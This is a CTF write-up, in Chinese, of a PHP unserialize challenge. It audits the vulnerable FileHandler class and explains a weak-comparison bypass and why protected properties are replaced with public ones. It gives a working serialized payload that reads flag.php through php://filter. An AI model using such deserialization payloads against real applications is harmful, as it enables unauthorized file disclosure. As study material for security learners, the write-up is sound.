打开题目
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这是php反序列化的题目,因为我们看到了函数unserialize
需要传入一个’str’,而且通过is_valid()规定了传入的每一个字符的ASCII码的范围必须在32到125之间,然后对这个’str’进行反序列化操作。$str = (string)$_GET['str'];
:这行代码将$_GET['str']
的值强制转换为字符串类型
function __destruct() {
if($this->op === "2")//op与2进行强比较
$this->op = "1";//op与2强比较若相等便赋值为1
$this->content = "";//content的值被赋值为空
$this->process();//执行process函数
}
从__destruct()代码中可以看到,这里 if 中的判断语句用的是强类型比较
代码审计
我们首先看
class FileHandler {
被protected修饰的成员对于本包和其子类可见
protected $op; //protected $filename;
protected $content;
process函数
public function process() {
的值将是
if($this->op == "1") { //op与1弱比较相等
$this->write(); //执行write函数
} else if($this->op == "2") { //若op与2弱比较相等
$res = $this->read(); //执行read函数,$resread()
方法的返回值$this->output($res); //$res
的值将被传递给output()
将输出"Bad Hacker
} else {
$this->output("Bad Hacker!"); //否则}
if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2, op == "2"则为True,就可以进入read函数
我们再看read函数
private function write() {
filename调用file_get_contents函数将文件内容赋值给$res输出
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename); //}
return $res;
我们要得到文件包含下的flag,就要执行read函数,不执行write函数,则让op和2弱比较相等
接着看
private function output($s) { //
将给定的字符串$s
输出到浏览器。echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2") //如果op的值为2,则强比较相等
$this->op = "1"; //强比较相等的话则将1赋值给op
$this->content = ""; //content的值为空
$this->process(); //执行process函数
}
最后看
function is_valid($s) {
函数检查字符串中的字符是否在 ASCII 字符集的可接受范围内,即32到125
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //ord()return false;
是否存在名为 "str" 的 GET 参数。
return true;
}
if(isset($_GET{'str'})) { //$str = (string)$_GET['str']; //
"str" 存在就将类型转换为字符串if(is_valid($str)) { //
在获取反序列化的数据前,必须调用is_valid()方法进行验证$obj = unserialize($str); //反序列化str的值并赋值给obj
}
内容要是可打印字符
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
在这里我是用phpstudy创建了个本地网站,在本地打开网页得到的payload,php版本为5.3.29
我们在题目界面传入str参数
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
base64解密得到flag
知识点:
protected权限
被protected修饰的成员对于本包和其子类可见
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,注意,这里的 \0 表示 ASCII 码为 0 的字符,也就是我们经过 urlencode 后看到的 %00
ASCII值为0就无法通过上面的is_valid函数校验